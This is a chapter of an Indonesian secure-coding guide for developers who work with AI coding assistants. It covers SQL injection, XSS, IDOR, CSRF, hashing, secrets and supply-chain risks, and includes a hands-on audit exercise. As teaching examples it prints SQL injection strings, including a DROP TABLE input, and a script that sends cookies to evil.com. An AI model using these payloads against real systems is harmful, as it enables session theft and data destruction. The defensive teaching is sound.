05 โ Security¶
Bagian paling penting untuk era AI. AI coding assistant sering menghasilkan kode yang berfungsi tapi tidak aman, karena ia meniru pola dari internet โ termasuk pola yang buruk. Beberapa studi menemukan porsi signifikan kode hasil AI mengandung kerentanan ketika prompt-nya tidak menyebut keamanan secara eksplisit. Keamanan tidak datang gratis dari AI โ harus diminta dan diverifikasi.
5.1 Prinsip Dasar¶
- Never trust user input. Semua input dari luar (form, URL, header, cookie, file upload, bahkan response API pihak ketiga) dianggap berbahaya sampai divalidasi.
- Least privilege. Setiap user/service/API key hanya diberi akses seminimal yang dibutuhkan. Kalau bocor, kerusakannya terbatas.
- Defense in depth. Keamanan berlapis โ validasi di frontend DAN backend DAN database; jangan andalkan satu tembok.
- Jangan buat sistem crypto/auth sendiri. Pakai library & standar yang sudah teruji bertahun-tahun oleh komunitas.
- Keamanan adalah proses, bukan fitur. Dependency menua, teknik serangan berkembang โ perlu perawatan rutin.
Peta ancaman: OWASP Top 10¶
OWASP Top 10 = daftar kerentanan aplikasi web paling kritis, dirawat komunitas keamanan dunia dan diperbarui berkala. Materi bab ini mencakup yang paling relevan sehari-hari: injection (ยง5.2), XSS (ยง5.3), broken access control (ยง5.4), CSRF (ยง5.5), kegagalan autentikasi & kriptografi (ยง5.6), misconfiguration (ยง5.8), dan kerentanan komponen/supply chain (ยง5.9โ5.10).
5.2 SQL Injection โ Serangan Klasik yang Tak Kunjung Mati¶
Terjadi saat input user digabung langsung ke query SQL:
// โ BERBAHAYA โ input user masuk mentah ke query
$query = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// Penyerang mengisi email dengan: ' OR '1'='1
// Query menjadi: SELECT * FROM users WHERE email = '' OR '1'='1'
// โ mengembalikan SEMUA user!
// Lebih parah โ input: '; DROP TABLE users; --
// โ tabel users DIHAPUS
// โ
AMAN โ prepared statement / parameterized query
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$email]);
// Nilai dikirim TERPISAH dari query โ database tidak pernah
// menafsirkan input sebagai perintah
๐ Aturan sederhana: input user tidak boleh pernah di-concat/di-interpolasi langsung ke string SQL. Titik.
Catatan untuk pengguna framework: ORM (Eloquent, Prisma, dsb.) aman secara default โ tapi pintu bahayanya tetap terbuka lewat raw query:
// โ Tetap injection walau "pakai Laravel"
DB::select("SELECT * FROM users WHERE email = '$email'");
// โ
Raw query yang benar: tetap parameterized
DB::select("SELECT * FROM users WHERE email = ?", [$email]);
Prinsip yang sama berlaku untuk injection lain: command injection (input user masuk ke perintah shell) dan NoSQL injection. Polanya selalu: data user diperlakukan sebagai perintah, bukan nilai.
5.3 XSS (Cross-Site Scripting)¶
Penyerang menyisipkan JavaScript ke halaman yang dilihat user lain โ misalnya lewat kolom komentar:
<!-- Penyerang menulis "komentar": -->
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
Jika ditampilkan mentah, script berjalan di browser semua pengunjung โ cookie/session dicuri, aksi dilakukan atas nama korban, halaman dipalsukan.
Pencegahan utama โ escape output: ubah karakter spesial jadi teks biasa saat menampilkan data user (< โ <), sehingga browser menampilkannya sebagai tulisan, bukan menjalankannya.
Template engine modern sudah escape otomatis โ bahaya justru muncul di "pintu keluar darurat" yang mem-bypass proteksi:
| Framework | โ Aman (auto-escape) | โ ๏ธ Pintu bahaya |
|---|---|---|
| Laravel Blade | {{ $comment }} |
{!! $comment !!} |
| React/JSX | {comment} |
dangerouslySetInnerHTML |
| Vue | {{ comment }} |
v-html |
| Vanilla JS | element.textContent |
element.innerHTML |
โ ๏ธ Red flag: setiap kemunculan
{!! !!},dangerouslySetInnerHTML,v-html, atauinnerHTMLdi kode AI wajib dipertanyakan: "apakah data ini bisa berasal dari user?" Kalau ya โ cari cara lain, atau sanitasi dengan library khusus (mis. DOMPurify).
Lapisan tambahan: Content Security Policy (CSP) โ header yang membatasi script dari mana saja yang boleh dijalankan browser (lihat ยง5.8).
5.4 Autentikasi vs Otorisasi (dan IDOR)¶
- Authentication (AuthN): Siapa kamu? โ login.
- Authorization (AuthZ): Boleh apa saja kamu? โ hak akses.
Bug keamanan paling umum di kode AI: cek login ada, cek kepemilikan tidak ada โ disebut IDOR (Insecure Direct Object Reference):
GET /api/invoices/1001 โ invoice milik saya, OK โ
GET /api/invoices/1002 โ invoice milik ORANG LAIN... juga bisa dibuka?! โ
Penyerang cukup mengganti angka di URL. Kebocoran data besar di dunia nyata berkali-kali terjadi lewat lubang sesederhana ini.
// โ Hanya cek login
$invoice = Invoice::findOrFail($id);
// โ
Cek login DAN kepemilikan
$invoice = Invoice::where('id', $id)
->where('user_id', auth()->id())
->firstOrFail(); // bukan milikmu โ 404
Dua pola pelengkap:
- RBAC (Role-Based Access Control): hak akses berdasarkan peran โ admin, staff, customer. Cek role di setiap endpoint sensitif, di backend (role yang disimpan di frontend/JWT payload bisa dipalsukan tampilannya, keputusan tetap harus diverifikasi server).
- Jangan percaya field tersembunyi: request
{"role": "admin"}yang diselipkan user saat register harus diabaikan server (mass assignment protection).
๐ก Prompt: "Untuk setiap endpoint di controller ini, sebutkan: siapa yang boleh mengakses, dan di baris mana pengecekan kepemilikan/role dilakukan. Kalau ada endpoint tanpa pengecekan, tandai sebagai temuan."
5.5 CSRF (Cross-Site Request Forgery)¶
Serangan yang "menunggangi" sesi login korban. Skenario:
1. Anda login ke bank-anda.com (browser menyimpan cookie sesi)
2. Anda membuka situs-jahat.com di tab lain
3. Situs jahat diam-diam men-submit form ke bank-anda.com/transfer
4. Browser OTOMATIS menyertakan cookie sesi Anda โ transfer berjalan!
Korban tidak mengklik apa pun yang mencurigakan โ cukup membuka halaman jahat sambil masih login di situs target.
Pencegahan: CSRF token โ kode acak unik yang disisipkan di setiap form sah dan diverifikasi server. Situs jahat tidak bisa menebaknya. Framework modern menyediakannya built-in (@csrf di Blade); pelengkapnya: cookie dengan atribut SameSite.
Catatan: API murni berbasis Bearer token (bukan cookie) secara alami lebih kebal CSRF โ karena token tidak dikirim otomatis oleh browser. Ini salah satu alasan arsitektur token populer.
5.6 Password, Hashing & Secrets¶
Password¶
- Jangan pernah simpan password sebagai plain text. Gunakan hashing satu-arah: bcrypt atau argon2.
- Hashing โ enkripsi. Enkripsi bisa dibalik (ada kuncinya); hashing tidak bisa. Login bekerja dengan membandingkan hash input vs hash tersimpan โ server tidak pernah tahu password aslinya.
- MD5 dan SHA1 BUKAN untuk password โ terlalu cepat dihitung = mudah di-brute-force miliaran tebakan per detik. bcrypt/argon2 sengaja dibuat lambat.
- Salt (data acak unik per user, otomatis di bcrypt/argon2) memastikan dua user berpassword sama punya hash berbeda โ mematahkan serangan tabel hash siap pakai (rainbow table).
Kebijakan yang sehat: dorong password panjang (passphrase), sediakan 2FA/MFA untuk akun penting, rate-limit percobaan login, dan beri respons login gagal yang seragam ("email atau password salah" โ jangan konfirmasi email mana yang terdaftar).
Secrets (API key, DB password, token, private key)¶
- Simpan di environment variable / secret manager โ bukan di kode, bukan di repo.
.envwajib masuk.gitignore(dan.dockerignore).- Sekali secret ter-push ke Git, anggap sudah bocor โ rotate (ganti) segera. Menghapus commit tidak cukup โ riwayat Git, fork, dan mirror menyimpan salinannya. Bot penyerang memindai repository publik untuk credential dalam hitungan menit.
- Beri scope minimal pada setiap key (least privilege): key yang hanya perlu baca, jangan diberi izin tulis.
๐ก Kredensial cloud (misal AWS access key) yang bocor bisa berujung tagihan ratusan juta rupiah dalam hitungan hari โ dipakai penyerang menambang crypto atau menyewakan resource. Kasus seperti ini hampir selalu berawal dari access key yang ter-commit atau tertempel di tempat publik. Deteksi dini (billing alert, monitoring aktivitas aneh) sama pentingnya dengan pencegahan.
5.7 HTTPS & Keamanan Transport¶
- HTTP = kartu pos โ semua orang di jaringan (termasuk WiFi kafe) bisa membaca isinya.
- HTTPS = surat tersegel โ terenkripsi di perjalanan (TLS); juga menjamin Anda benar-benar bicara dengan server yang dituju.
- Production wajib HTTPS tanpa pengecualian โ sertifikat gratis via Let's Encrypt, otomatis diperpanjang.
- HSTS (header
Strict-Transport-Security): memaksa browser selalu memakai HTTPS untuk domain tersebut.
5.8 Hardening: Konfigurasi & Praktik Pendukung¶
| Praktik | Kenapa |
|---|---|
| Validasi input di server | Validasi frontend mudah dilewati โ cukup panggil API langsung via curl/Postman |
| Rate limiting | Cegah brute-force login & penyalahgunaan API (429) |
| CORS ketat | Access-Control-Allow-Origin: * pada API ber-auth = mengundang masalah; whitelist domain spesifik |
| Security headers | Content-Security-Policy, X-Content-Type-Options: nosniff, X-Frame-Options (anti-clickjacking), HSTS |
| Error generik ke user | Stack trace/struktur DB di layar publik = peta gratis bagi penyerang; detail cukup di log internal |
| Matikan mode debug di production | APP_DEBUG=true di production membocorkan env, query, dan path โ kesalahan konfigurasi paling umum |
| Log & monitoring | Tanpa log, insiden tidak terdeteksi & tidak bisa diinvestigasi; log jangan menyimpan password/token |
| Backup teruji | Pertahanan terakhir terhadap ransomware & human error (lihat bab Database ยง3.11) |
File upload โ checklist khusus¶
Fitur upload adalah pintu favorit penyerang:
- โ
Whitelist ekstensi & verifikasi tipe konten sebenarnya (magic bytes), bukan cuma nama file โ
virus.phpyang di-renamefoto.jpgharus tertangkap. - โ Batasi ukuran file.
- โ
Ganti nama file dengan random/UUID โ nama asli bisa berisi path traversal (
../../config.php). - โ Simpan di luar folder yang bisa mengeksekusi kode (idealnya object storage terpisah: S3 dan sejenisnya).
5.9 Risiko Spesifik Vibe Coding¶
Era AI menambahkan mode kegagalan baru:
- AI menghasilkan pola lama/tidak aman โ MD5 untuk password, string concat di SQL, CORS
*, debug mode menyala. AI meniru internet, dan internet penuh contoh buruk. - AI "menghalu" package (โ slopsquatting) โ AI menyarankan library yang tidak ada; penyerang memantau nama-nama halu populer dan menerbitkan package palsu berisi malware dengan nama itu. Selalu verifikasi package di registry resmi (npm/packagist/pypi): cek umur, jumlah unduhan, dan repository-nya, sebelum install.
- Secret bocor lewat prompt โ jangan tempel API key/password/data pelanggan asli saat bertanya ke AI. Ganti dengan placeholder (
<API_KEY>,<DATA_SAMPLE>). - Kode terlihat jalan โ aman โ demo sukses hanya membuktikan happy path. Authorization check, rate limit, dan validasi tidak terlihat di demo.
- Volume kode naik, review jadi bottleneck โ AI menghasilkan kode 10x lebih cepat; tanpa disiplin review, lubang keamanan ikut terkirim 10x lebih cepat.
- Kepercayaan berlebih โ makin sering AI benar, makin jarang kita memeriksa. Justru itu celahnya. Perlakukan output AI seperti kode dari developer baru yang pintar tapi belum kenal sistem Anda: berbakat, cepat, wajib direview.
5.10 Supply Chain: Dependency Anda Adalah Kode Anda¶
Aplikasi modern = sedikit kode sendiri + ratusan package pihak ketiga. Kerentanan di salah satu package = kerentanan di aplikasi Anda.
- Jalankan audit rutin:
npm audit,composer auditโ dan perbaiki temuan prioritas tinggi. - Aktifkan bot pembaruan otomatis (Dependabot/Renovate) di repository.
- Lockfile (
package-lock.json,composer.lock) wajib di-commit โ menjamin semua orang & server memakai versi persis sama. - Waspadai package yang minta izin aneh atau punya script instalasi mencurigakan.
5.11 Jika Insiden Terjadi (Dasar-Dasarnya)¶
Semua orang di tim perlu tahu langkah kasar ini:
- Jangan panik, jangan hapus jejak โ log dan bukti dibutuhkan untuk investigasi.
- Putus akses โ rotate credential yang dicurigai bocor, revoke session/token, isolasi sistem terdampak.
- Ukur dampak โ data apa yang tersentuh, sejak kapan, siapa terdampak.
- Komunikasi โ internal dulu (jalur yang disepakati), lalu eksternal sesuai kewajiban (pelanggan, regulator โ di Indonesia: UU PDP mengatur notifikasi kebocoran data pribadi).
- Post-mortem tanpa menyalahkan โ fokus ke proses yang membiarkan celah terjadi, bukan ke individu; perbaiki agar tidak terulang.
5.12 Prompting AI untuk Security¶
๐ก Review menyeluruh: "Review kode ini sebagai security engineer. Cek: SQL/command injection, XSS (termasuk penggunaan innerHTML/dangerouslySetInnerHTML/{!! !!}), IDOR & authorization tiap endpoint, CSRF, secret hardcoded, validasi input, mass assignment, dan konfigurasi berbahaya (debug mode, CORS *). Format temuan: [severity: critical/high/medium/low] โ [lokasi] โ [masalah] โ [perbaikan]."
๐ก Sejak awal (lebih baik): tambahkan ke setiap prompt pembuatan fitur โ "Terapkan praktik keamanan: parameterized query, escape output, cek kepemilikan data, validasi server-side, dan tidak ada secret di kode."
๐ก Verifikasi package: "Sebelum aku install, verifikasi bahwa package
[nama]benar-benar ada di [npm/packagist], sebutkan repository resminya, dan apakah masih aktif dirawat."
๐งช Latihan: minta AI membuat form komentar sederhana tanpa menyebut keamanan sama sekali. Lalu jalankan prompt review di atas terhadap hasilnya. Hitung berapa temuan yang muncul โ ini demonstrasi paling meyakinkan kenapa bab ini ada.
5.13 ๐งช TUTORIAL PRAKTIK: Temukan & Perbaiki Lubang Sendiri¶
Latihan ini paling meyakinkan kalau dikerjakan sungguhan. Estimasi 45 menit. Tujuannya: mengalami sendiri bahwa AI menghasilkan kode tidak aman saat tidak diminta sebaliknya โ lalu belajar menutupnya.
Langkah 1 โ Sengaja buat kode rawan (10 menit)¶
Minta AI tanpa menyebut keamanan sama sekali:
๐ก "Buat endpoint login sederhana dan endpoint
GET /invoices/{id}untuk melihat detail invoice, di [framework Anda]. Buat cepat saja, yang penting jalan."
Simpan hasilnya. Jangan perbaiki dulu.
Langkah 2 โ Audit dengan mata Anda sendiri (15 menit)¶
Sebelum bertanya balik ke AI, cari sendiri pakai daftar berburu ini. Beri tanda di kode:
- [ ] IDOR: apakah
GET /invoices/{id}mengecekWHERE user_id = <user login>? Atau siapa pun bisa lihat invoice siapa pun dengan ganti angka? - [ ] Password: disimpan/dibandingkan sebagai plain text? Pakai MD5/SHA1? Atau bcrypt/argon2?
- [ ] Injection: ada input yang di-concat ke query?
- [ ] Rate limit: endpoint login bisa dicoba tanpa batas?
- [ ] Pesan error: login gagal memberi tahu "email tidak terdaftar" vs "password salah" (membocorkan email mana yang ada)?
- [ ] Secret: ada credential hardcoded?
Catat temuan Anda. Ini melatih mata โ skill yang tidak bisa didelegasikan ke AI.
Langkah 3 โ Minta AI mengaudit, lalu bandingkan (10 menit)¶
๐ก "Review kode ini sebagai security engineer. Cek: IDOR/authorization, hashing password, injection, rate limiting, information disclosure di pesan error, secret hardcoded. Beri bukti potongan kode untuk tiap temuan."
Bandingkan daftar AI dengan daftar Anda. Biasanya: sebagian besar sama (validasi bahwa mata Anda sudah terlatih), AI menemukan 1โ2 yang Anda lewat, Anda mungkin menemukan 1 yang AI lewat. Inilah kenapa dua-duanya diperlukan.
Langkah 4 โ Perbaiki & verifikasi ulang (10 menit)¶
๐ก "Perbaiki semua temuan tadi. Untuk IDOR pastikan cek kepemilikan; password pakai bcrypt; login pakai pesan seragam; tambah rate limit. Setelah itu, review ulang hasil perbaikanmu sendiri dan konfirmasi tiap temuan sudah tertutup."
Uji manual perbaikan IDOR: login sebagai user A, coba akses invoice milik user B โ harus 404/403, bukan datanya.
Refleksi¶
Tuliskan satu kalimat: "Di prompt awal saya, hal keamanan apa yang HILANG?" Jawaban Anda adalah template mental untuk semua prompt ke depan โ sekarang Anda tahu apa yang harus selalu diminta di depan, bukan ditambal di belakang.
Rangkuman Bab¶
- Jangan percaya input; hak akses seminimal mungkin; keamanan berlapis.
- Injection dicegah dengan parameterized query โ tanpa pengecualian, termasuk raw query di ORM.
- XSS dicegah dengan escape output; waspadai pintu bypass (
innerHTMLdkk.). - Login (AuthN) โ hak akses (AuthZ); IDOR adalah bug AI paling umum โ selalu cek kepemilikan data.
- Password: bcrypt/argon2. Secrets: env variable, dan rotate begitu diduga bocor.
- HTTPS wajib; debug mode mati di production; error publik harus generik.
- Risiko era AI: pola tidak aman, package halu (slopsquatting), secret di prompt, dan review yang tertinggal dari kecepatan generate.
- Keamanan harus diminta secara eksplisit di prompt dan diverifikasi lewat review โ dua-duanya, selalu.